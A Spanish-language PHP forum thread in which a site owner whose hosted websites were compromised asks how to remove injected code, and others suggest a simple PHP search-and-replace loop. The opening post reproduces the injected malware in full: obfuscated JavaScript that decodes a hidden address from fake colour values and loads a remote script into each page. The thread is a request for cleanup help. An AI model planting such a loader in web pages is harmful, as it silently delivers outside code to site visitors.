Foros del Web » Programando para Internet » PHP »

Script para recorrer todos los archivos de mi hosting

Estas en el tema de Script para recorrer todos los archivos de mi hosting en el foro de PHP en Foros del Web. Hola, me acaban de inyectar el siguiente codigo malicioso en todos mis sitios web alojados en un mismo hosting. <script> function vdch() { if(document.all.length > ...
  #1 (permalink)  
Antiguo 26/07/2011, 11:54
Avatar de insyse  
Fecha de Ingreso: abril-2005
Ubicación: Colombia
Mensajes: 206
Antigüedad: 19 años
Puntos: 5
Script para recorrer todos los archivos de mi hosting

Hola, me acaban de inyectar el siguiente codigo malicioso en todos mis sitios web alojados en un mismo hosting.

<script>
function vdch() {
if(document.all.length > 3) {
var t = new Array('#6a7072', '#723e29', '#2d7371', '#752a62', '#637d65', '#6d2a60', '#702b63', '#7a7029');
var dchid = ""; for (j=0;j<t.length;j++) { var c_rgb = t[j]; for (i=1;i<7;i++) { var c_clr = c_rgb.substr(i++,2); if (c_clr!="00") dchid += String.fromCharCode(parseInt(c_clr,16)^i); } }
var dch = document.createElement("script");
dch.id = "dchid";
dch.src = dchid;
document.all[3].appendChild(dch);
} else {
setTimeout("vdch()",500);
}
} setTimeout("vdch()",500);
</script>


Necesito eliminarlos, pero bajar todos mis sitios y volverlos a subir es una tarea de al menos 3 días, (ya me ha ocurrido antes)

Se que se puede hacer un script en PHP que recorra todos mis archivos PHP, HTML, JS, CSS y busque el codigo y lo reemplace con un espacio en blanco.

Alguien me puede ayudar con este código ya probado ????

De antemano muchas gracias...
  #2 (permalink)  
Antiguo 26/07/2011, 11:57
Avatar de pateketrueke
Modernizr
 
Fecha de Ingreso: abril-2008
Ubicación: Mexihco-Tenochtitlan
Mensajes: 26.399
Antigüedad: 16 años
Puntos: 2534
Respuesta: Script para recorrer todos los archivos de mi hosting

Podemos ayudar a que lo consigas por ti mismo, pero no podemos darte el código ya hecho.

Te decides.
__________________
Y U NO RTFM? щ(ºдºщ)

No atiendo por MP nada que no sea personal.
  #3 (permalink)  
Antiguo 26/07/2011, 12:27
Avatar de insyse  
Fecha de Ingreso: abril-2005
Ubicación: Colombia
Mensajes: 206
Antigüedad: 19 años
Puntos: 5
Respuesta: Script para recorrer todos los archivos de mi hosting

si claro...

Yo se que lo ideal es que uno mismo llegue a donde quiere llegar, mi urgencia era por el tiempo que mis sitios pueden quedar sin servicio durante el tiempo que tarde en desarrollar yo mismo el codigo, pero en este momento cualquier ayuda es valiosa.

Entonces por donde empiezo?
  #4 (permalink)  
Antiguo 26/07/2011, 13:19
 
Fecha de Ingreso: octubre-2009
Ubicación: Manizales, Colombia
Mensajes: 5
Antigüedad: 14 años, 6 meses
Puntos: 1
Respuesta: Script para recorrer todos los archivos de mi hosting

Podrías usar algo así:

Código PHP:
$directorio=opendir(getcwd());
$actual "cadena a reemplazar";
$cambio "nueva cadena o dejar vació";
while (
$archivo readdir($directorio)){
  
$ter getcwd()."/".$archivo;
  
$file $ter;
  
$archivo file_get_contents($file);
  
$cadena str_replace($actual,$cambio,$archivo);
  
$echo file_put_contents($file,$cadena);
  if (
$echo)
    echo 
"<b>echo:</b> $ter <br/>";
}
closedir($directorio); 
Pero eso solo funciona para los archivos que tangan permisos de escritura, si no mostrara un error.
Ademas solo funciona para los archivos que estén en mismo directorio que el actual.

Etiquetas: hosting, html, recorrer
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 14:46.